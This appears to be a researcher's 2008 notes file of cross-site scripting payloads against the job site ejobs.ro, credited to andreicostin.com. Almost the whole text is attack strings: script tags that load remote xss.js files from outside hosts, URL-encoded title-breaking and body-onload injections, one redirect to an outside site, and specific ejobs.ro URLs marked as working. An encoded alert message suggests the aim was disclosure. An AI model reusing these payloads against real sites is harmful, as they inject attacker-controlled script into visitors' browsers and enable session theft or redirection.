/*
* Desc: ejobs.ro attack vectors file from second half of 2008. Comment added on 3 feb 2009.
* Source: http://andreicostin.com
*/

<script
src=
"
http://ha.ckers.org/xss.js
"
</script >
-----------
<script src="http://ha.ckers.org/xss.js"</script>
------------
<
script
src=
"
http://ha.ckers.org/xss.js
"
<
/script
>

<script src="http://andreicostin.com/xss.js"</script>


<script
src=
"
http://andreicostin.com/xss.js
"
</script >
----------
http://www.ejobs.ro/user/viewcv2.php?uid=128661
----------
http://locuridemunca.ejobs.ro/locuridemunca/litera-%25/
----------
tests:

%3C%2FTITLE%3E%3CSCRIPT%3Ealert%28IE%29%3B%3C%2FSCRIPT%3E
%3C/TITLE%3E%3CSCRIPT%20src%3D%22http%3A//ha.ckers.org/xss.js%22%3C/SCRIPT%3E
http://www.ejobs.ro/arhiva/%3C%2FTITLE%3E%3Cscript%3Ealert%281%29%3B/0/1

OK:
http://www.ejobs.ro/arhiva/pula/%3CBODY%20ONLOAD%3Dalert%281%29%3E/%3CBODY%20ONLOAD%3Dalert%281%29%3E

%3CBODY%20ONLOAD%3D%27alert%28%22xyz%22%29%3Bdocument%2Elocation%2Ehref%3D%22httpwww%2Eandreicostin%2Ecom%22%3B%27%3E

%3CBODY%20ONLOAD%3D%27alert%28%22%54%68%65%72%65%20%69%73%20%6e%6f%20%70%65%72%66%65%63%74%20%6a%6f%62%2e%4e%6f%77%20%67%65%74%20%62%61%63%6b%20%74%6f%20%77%6f%72%6b%2e%58%53%53%20%61%74%74%61%63%6b%20%65%78%70%6f%73%75%72%65%20%62%79%20%7a%76%65%72%69%75%2c%61%6e%64%72%65%69%63%6f%73%74%69%6e%2e%63%6f%6d%2e%22%29%3B%27%3E

http://www.ejobs.ro/arhiva/jobs/%3C%42%4f%44%59%20%4f%4e%4c%4f%41%44%3D%27%61%6c%65%72%74%28%22%54%68%65%72%65%20%69%73%20%6e%6f%20%70%65%72%66%65%63%74%20%6a%6f%62%2e%4e%6f%77%20%67%65%74%20%62%61%63%6b%20%74%6f%20%77%6f%72%6b%2e%58%53%53%20%61%74%74%61%63%6b%20%65%78%70%6f%73%75%72%65%20%62%79%20%7a%76%65%72%69%75%2c%61%6e%64%72%65%69%63%6f%73%74%69%6e%2e%63%6f%6d%2e%22%29%3B%27%3E/%3C%42%4f%44%59%20%4f%4e%4c%4f%41%44%3D%27%61%6c%65%72%74%28%22%54%68%65%72%65%20%69%73%20%6e%6f%20%70%65%72%66%65%63%74%20%6a%6f%62%2e%4e%6f%77%20%67%65%74%20%62%61%63%6b%20%74%6f%20%77%6f%72%6b%2e%58%53%53%20%61%74%74%61%63%6b%20%65%78%70%6f%73%75%72%65%20%62%79%20%7a%76%65%72%69%75%2c%61%6e%64%72%65%69%63%6f%73%74%69%6e%2e%63%6f%6d%2e%22%29%3B%27%3E